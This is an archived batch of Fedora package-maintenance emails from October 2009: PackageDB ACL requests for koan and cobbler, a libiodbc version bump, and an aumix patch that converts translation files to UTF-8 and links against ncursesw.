From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:26 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143726.247BA10F901@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:29 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143729.6BD7B10F8E0@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:31 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143731.75E7510F8C1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:32 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143733.088F410F8E1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:34 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143734.C4CD810F903@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:46 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143746.CEC6910F90D@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:44 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143744.7984510F90E@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:48 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143748.D8DDF10F8D1@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:51 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143751.A0CE110F8D8@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:53 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143753.80A1B10F911@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:55 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143755.A3DA810F8D9@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:57 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143757.ADA2510F912@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:59 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143759.5B51310F913@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:38:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:38:01 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143801.5504810F8F3@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:38:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:38:03 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143803.34C3710F914@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From rdieter at fedoraproject.org  Tue Oct 20 14:39:35 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 14:39:35 +0000 (UTC)
Subject: rpms/libiodbc/F-11 .cvsignore, 1.2, 1.3 libiodbc.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091020143935.5326B11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/libiodbc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22649

Modified Files:
	.cvsignore libiodbc.spec sources 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.7-1
- libiodbc-3.52.7



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Jun 2009 16:57:55 -0000	1.2
+++ .cvsignore	20 Oct 2009 14:39:34 -0000	1.3
@@ -1 +1 @@
-libiodbc-3.52.6.tar.gz
+libiodbc-3.52.7.tar.gz


Index: libiodbc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/F-11/libiodbc.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libiodbc.spec	11 Jun 2009 16:57:55 -0000	1.1
+++ libiodbc.spec	20 Oct 2009 14:39:35 -0000	1.2
@@ -4,8 +4,8 @@
 
 Summary: iODBC Driver Manager
 Name: libiodbc
-Version: 3.52.6
-Release: 4%{?dist}
+Version: 3.52.7
+Release: 1%{?dist}
 Group: System Environment/Libraries
 License: LGPLv2 or BSD
 URL: http://www.iodbc.org/
@@ -116,6 +116,12 @@ rm -rf %{buildroot} 
 %endif
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.7-1
+- libiodbc-3.52.7
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.52.6-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jun 06 2009 Rex Dieter <rdieter at fedoraproject.org> 3.52.6-4
 - -devel: install headers to /usr/include/libiodbc/ to better avoid
   conflicts and need for bogus unixODBC-devel dep


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libiodbc/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Jun 2009 16:57:55 -0000	1.2
+++ sources	20 Oct 2009 14:39:35 -0000	1.3
@@ -1 +1 @@
-761ad547467bd63ac0b2b4f3ee4b5afb  libiodbc-3.52.6.tar.gz
+ddbd274cb31d65be6a78da58fc09079a  libiodbc-3.52.7.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 20 14:44:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:44:58 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144458.75CE610F880@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:44:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:44:58 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144458.C781810F894@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:00 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144500.6504610F8AB@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:00 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144500.BA29D10F8AF@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:02 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144503.0489110F80D@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:02 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144502.DB05910F86E@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:04 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144504.D1FA110F8B8@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:05 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144505.36B8310F8BD@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:08 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144508.5873B10F8C0@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:09 +0000
Subject: [pkgdb] koan: awood has requested watchbugzilla
Message-ID: <20091020144509.D20F210F8C6@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on koan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:09 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144509.B167710F8C3@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:10 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144510.4193810F895@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:11 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144511.5DEC710F8C9@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:13 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144514.061BE10F8CA@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:16 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144516.9087E10F8CD@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:18 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144518.B42CB10F8D0@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:19 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144520.08EBB10F8D3@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:20 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144520.88B5410F8D7@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:22 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144522.8C7B810F8DB@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:21 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144521.3924310F8DA@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:45:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:45:23 +0000
Subject: [pkgdb] koan: awood has requested watchcommits
Message-ID: <20091020144523.9D32710F8DE@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on koan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/koan



From somlo at fedoraproject.org  Tue Oct 20 14:43:08 2009
From: somlo at fedoraproject.org (Gabriel L. Somlo)
Date: Tue, 20 Oct 2009 14:43:08 +0000 (UTC)
Subject: rpms/aumix/devel aumix-2.8-utf8.patch, NONE, 1.1 aumix.spec, 1.11,
	1.12
Message-ID: <20091020144308.6130111C0081@cvs1.fedora.phx.redhat.com>

Author: somlo

Update of /cvs/pkgs/rpms/aumix/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23116/devel

Modified Files:
	aumix.spec 
Added Files:
	aumix-2.8-utf8.patch 
Log Message:
converted language files to utf-8
linking against libncursesw to fix display of utf-8 characters


aumix-2.8-utf8.patch:
 configure    |    8 +-
 configure.in |    4 -
 po/de.po     |   42 +++++++-------
 po/el.po     |   74 +++++++++++++-------------
 po/es.po     |   38 ++++++-------
 po/fr.po     |   46 ++++++++--------
 po/gl.po     |   72 ++++++++++++-------------
 po/ja.po     |  166 +++++++++++++++++++++++++++++------------------------------
 po/nl.po     |    2 
 po/pl.po     |   62 +++++++++++-----------
 po/pt_BR.po  |   60 ++++++++++-----------
 po/ru.po     |  128 ++++++++++++++++++++++-----------------------
 po/sv.po     |   62 +++++++++++-----------
 po/uk.po     |  138 ++++++++++++++++++++++++-------------------------
 po/zh_CN.po  |  156 +++++++++++++++++++++++++++----------------------------
 15 files changed, 529 insertions(+), 529 deletions(-)

--- NEW FILE aumix-2.8-utf8.patch ---
diff -NarU5 aumix-2.8.orig/configure aumix-2.8/configure
--- aumix-2.8.orig/configure	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure	2009-10-20 10:27:55.000000000 -0400
@@ -3544,17 +3544,17 @@
   withval="$with_ncurses"
   echo "$as_me:$LINENO: result: Compiling without ncurses support" >&5
 echo "${ECHO_T}Compiling without ncurses support" >&6
 else
 
-    echo "$as_me:$LINENO: checking for initscr in -lncurses" >&5
-echo $ECHO_N "checking for initscr in -lncurses... $ECHO_C" >&6
+    echo "$as_me:$LINENO: checking for initscr in -lncursesw" >&5
+echo $ECHO_N "checking for initscr in -lncursesw... $ECHO_C" >&6
 if test "${ac_cv_lib_ncurses_initscr+set}" = set; then
   echo $ECHO_N "(cached) $ECHO_C" >&6
 else
   ac_check_lib_save_LIBS=$LIBS
-LIBS="-lncurses  $LIBS"
+LIBS="-lncursesw  $LIBS"
 cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
 cat confdefs.h >>conftest.$ac_ext
 cat >>conftest.$ac_ext <<_ACEOF
@@ -3615,11 +3615,11 @@
 else
   initscr=off
 fi
 
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
 
 cat >>confdefs.h <<\_ACEOF
 #define HAVE_LIBNCURSES 1
 _ACEOF
 
diff -NarU5 aumix-2.8.orig/configure.in aumix-2.8/configure.in
--- aumix-2.8.orig/configure.in	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure.in	2009-10-20 10:26:56.000000000 -0400
@@ -34,13 +34,13 @@
 dnl Additional configure options
 AC_ARG_WITH(ncurses,
    [  --without-ncurses       compile with no ncurses or mouse support],
   AC_MSG_RESULT([Compiling without ncurses support]),[
   dnl Checks for ncurses library.
-  AC_CHECK_LIB(ncurses, initscr, initscr=on, initscr=off)
+  AC_CHECK_LIB(ncursesw, initscr, initscr=on, initscr=off)
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
     AC_DEFINE(HAVE_LIBNCURSES, 1,
       [Define this if you have the ncurses library and want to use it.])
   else
     AC_CHECK_LIB(curses, initscr, initscr=on, initscr=off)
     if test $initscr = on; then
diff -NarU5 aumix-2.8.orig/po/de.po aumix-2.8/po/de.po
--- aumix-2.8.orig/po/de.po	2002-11-24 20:36:21.000000000 -0500
+++ aumix-2.8/po/de.po	2009-10-20 10:05:54.000000000 -0400
@@ -9,25 +9,25 @@
 "Project-Id-Version: aumix 2.6\n"
 "POT-Creation-Date: 2002-11-25 01:36+0000\n"
 "Last-Translator: Dominik Stadler <Dominik.Stadler at gmx.at>\n"
 "Language-Team: German <de at li.org>\n"
 "MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: none\n"
 "POT-Revision-Date: 2000-07-13 11:13+0000\n"
 
 #: src/common.c:76
 msgid "Volume  "
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/common.c:77
 msgid "Bass    "
-msgstr "B?sse"
+msgstr "B??sse"
 
 #: src/common.c:78
 msgid "Treble  "
-msgstr "H?hen"
+msgstr "H??hen"
 
 #: src/common.c:79
 msgid "Synth   "
 msgstr ""
 
@@ -115,23 +115,23 @@
 msgid "Monitor "
 msgstr ""
 
 #: src/common.c:263
 msgid "aumix:  error opening mixer"
-msgstr "aumix:  Fehler beim ?ffnen des Mixers"
+msgstr "aumix:  Fehler beim ??ffnen des Mixers"
 
 #: src/common.c:263
 msgid "aumix:  no device found"
-msgstr "aumix:  Audioger?t nicht gefunden"
+msgstr "aumix:  Audioger??t nicht gefunden"
 
 #: src/common.c:263
 msgid "aumix:  mixer not open"
-msgstr "aumix:  Mixer nicht ge?ffnet"
+msgstr "aumix:  Mixer nicht ge??ffnet"
 
 #: src/common.c:263
 msgid "aumix:  unable to open settings file"
-msgstr "aumix:  Einstellungen konnten nicht ge?ffnet werden"
+msgstr "aumix:  Einstellungen konnten nicht ge??ffnet werden"
 
 #: src/common.c:271
 #, c-format
 msgid "aumix:  unknown error %i"
 msgstr "aumix:  Unbekannter Fehler %i"
@@ -188,15 +188,15 @@
 "  c:  CD\n"
 "\n"
 "other options:\n"
 msgstr ""
 "Kanaloptionen:\n"
-"  v:  Gesamtlautst?rke      x:  Mixmonitor\n"
-"  b:  B?sse                 W:  PCM 2\n"
-"  t:  H?hen                 r:  Aufnahme\n"
-"  s:  Synthesizer           i:  Aufnahmeverst?rkung\n"
-"  w:  PCM                   o:  Ausgabeverst?rkung\n"
+"  v:  Gesamtlautst??rke      x:  Mixmonitor\n"
+"  b:  B??sse                 W:  PCM 2\n"
+"  t:  H??hen                 r:  Aufnahme\n"
+"  s:  Synthesizer           i:  Aufnahmeverst??rkung\n"
+"  w:  PCM                   o:  Ausgabeverst??rkung\n"
 "  p:  PC-Lautsprecher       1:  Line 1\n"
 "  l:  Line                  2:  Line 2\n"
 "  m:  Mikrofon              3:  Line 3\n"
 "  c:  CD\n"
 "\n"
@@ -211,29 +211,29 @@
 "  d:  adjust a device besides /dev/mixer\n"
 "  f:  specify file for saving and loading settings (defaults to\n"
 "      ~/.aumixrc or /etc/aumixrc)\n"
 "  h:  this helpful message\n"
 msgstr ""
-"  d:  Anderes Ger?t als /dev/mixer benutzen\n"
+"  d:  Anderes Ger??t als /dev/mixer benutzen\n"
 "  f:  Spezifizieren Sie die Datei zum Speichern und Laden von Einstellungen\n"
 "      (Standard sind ~/.aumixrc oder /etc/aumixrc)\n"
-"  h:  Diese n?tzlichen Informationen\n"
+"  h:  Diese n??tzlichen Informationen\n"
 
 #: src/common.c:707
 msgid "  I:  start in interactive mode after doing non-interactive functions\n"
 msgstr ""
-"  I:  Start im interaktiven Modus nach Ausf?hren nicht-interaktiver "
+"  I:  Start im interaktiven Modus nach Ausf??hren nicht-interaktiver "
 "Funktionen\n"
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
 "  L:  Einstellungen laden\n"
-"  q:  Alle Kan?le abfragen und Einstellungen ausgeben\n"
+"  q:  Alle Kan??le abfragen und Einstellungen ausgeben\n"
 "  S:  Einstellungen speichern\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
 msgstr "Beenden  "
@@ -258,19 +258,19 @@
 msgid "Only"
 msgstr "Alleine  "
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "R?ckg?ngig"
+msgstr "R??ckg??ngig"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -310,11 +310,11 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
[...3246 lines suppressed...]
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
-"  L??????????\n"
-"  q????????????????????????\n"
-"  S??????????\n"
+"  L???????????????\n"
+"  q????????????????????????????????????\n"
+"  S???????????????\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:38 src/gtk.c:191
 msgid "Load"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:39 src/gtk.c:191
 msgid "Save"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:40
 msgid "Keys"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:41 src/gtk.c:265
 msgid "Mute"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:42
 msgid "Only"
-msgstr "??"
+msgstr "???"
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -274,31 +274,31 @@
 msgid "L"
 msgstr "L"
 
 #: src/curses.c:117 src/gtk.c:193 src/gtk.c:237 src/gtk.c:340
 msgid "Balance"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:118 src/gtk.c:362
 msgid "R"
 msgstr "R"
 
 #: src/curses.c:164
 msgid "page arrows\n"
-msgstr "??????\n"
+msgstr "?????????\n"
 
 #: src/curses.c:165
 msgid "tab enter < > , .\n"
 msgstr "tab enter < > , .\n"
 
 #: src/curses.c:166
 msgid "+ - [ ] arrows digits\n"
-msgstr "+ - [ ] ???? ????\n"
+msgstr "+ - [ ] ?????? ??????\n"
 
 #: src/curses.c:167
 msgid "space\n"
-msgstr "????\n"
+msgstr "??????\n"
 
 #: src/curses.c:168
 msgid "|\n"
 msgstr "|\n"
 
@@ -306,51 +306,51 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
 "\n"
-"????????????????????????"
+"????????????????????????????????????"
 
 #: src/curses.c:171
 msgid "Key                       Function\n"
-msgstr "??                        ????\n"
+msgstr "???                        ??????\n"
 
 #: src/curses.c:172
 msgid "------------------------- --------------------"
 msgstr "------------------------- --------------------"
 
 #: src/curses.c:173
 msgid "change channel\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:174
 msgid "toggle level/balance\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:175
 msgid "adjust slider\n"
-msgstr "??????????\n"
+msgstr "???????????????\n"
 
 #: src/curses.c:176
 msgid "toggle record/play\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:177
 msgid "center balance\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:196
 msgid "     "
 msgstr "     "
 
 #: src/curses.c:199
 msgid "muted"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/curses.c:202
 msgid "only "
-msgstr "?? "
+msgstr "??? "
 
 #: src/interactive.c:399
 msgid "k"
 msgstr "k"
 
@@ -378,15 +378,15 @@
 msgid "u"
 msgstr "u"
 
 #: src/gtk.c:191
 msgid "Load From"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:191
 msgid "Save To"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:192
 msgid "f"
 msgstr "f"
